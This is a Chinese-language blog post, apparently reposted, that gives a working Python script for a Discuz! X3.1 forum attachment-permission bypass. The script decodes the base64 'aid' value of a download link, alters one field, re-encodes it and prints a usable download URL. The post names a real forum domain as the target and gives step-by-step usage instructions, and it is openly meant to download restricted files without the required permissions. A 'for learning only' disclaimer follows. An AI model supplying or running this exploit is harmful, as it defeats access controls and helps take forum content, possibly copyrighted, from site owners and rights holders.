Python 實現 Discuz論壇附件下載權限繞過漏洞


 
        

背景:最近壓力有些大,想玩點游戲放松下,去Mac論壇下載,發現需要各種權限,於是蛋疼了。

所以,上網查了discuz! x3.1破解,手動替換,發現出現“鏈接已過期”。所以寫了下面程序。

0.將下列代碼復制到你的python IDE中。

1.先進網頁,chrome瀏覽器查看網頁元素,替換正則表達式內內容。

2.刷新你要下載的頁面,右鍵復制下載鏈接 url = ‘你復制的鏈接’

3.運行python,你的IDE里面就會打印出真實下載地址。

運行環境:python3.5

操作系統:macpro 2016

import base64
import re

# 這里是你鼠標單擊右鍵-》保存要下載的鏈接。替換 url = '你復制下來的鏈接'
# 其中"第一部分"是'.forum.php?mod=attachment&aid=' "第二部分"是 forum.php?mod=attachment&aid=
# 后面會用到
url = 'forum.php?mod=attachment&aid=NjE4NzF8NmM2ZDU4Y2Z8MTQ5ODgzNjUyMnwwfDIyMTg3'

# url0是你要下載的網址的主頁,加上"第二部分" 也就是 "forum.php?mod=attachment&aid="
url0 = 'http://m.tracker.7do.net/forum.php?mod=attachment&aid='

# 正則表達,需要將括號內的"第一部分" 也就是 "forum.php\?mod=attachment&aid=" 替換成你復制鏈接的第一部分
p = r'(forum.php\?mod=attachment&aid=)(.+)'
aid = re.search(p, url).group(2)
z = base64.b64decode(aid)

#下面的正則不用管
# print(z)
p = r"(b')(.+)(')"
z1 = re.search(p, str(z)).group(2)
# print(z1)
p = r"(.+)(\|0\|)(.+)"
z2 = re.search(p,str(z1)).group(1)
p = r"(.+)(\|0\|)(.+)"
z3 = re.search(p,str(z1)).group(3)
# print(z2)
k = z2 + '|2|' + z3
k = bytes(k, encoding = "utf8")
# print(k)
# k = b'61871|acf3aa27|1498835323|1|22187'
j = base64.b64encode(k)
# print(j)
p = r"(b')(.+)(')"
j1 = re.search(p, str(j)).group(2)
# print(j1)

url1 = url0 + j1
print(url1)

備注:上面破解僅供學習使用,不要用在其他用途,如果侵權,請聯系作者,也就是我,我會妥當處理。

不明白過程的,可以看下面的參考資料。

參考資料:

1. python str與bytes之間的轉換

2.python中的正則表達式(re模塊)

3.Discuz論壇附件下載權限繞過漏洞

 
 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM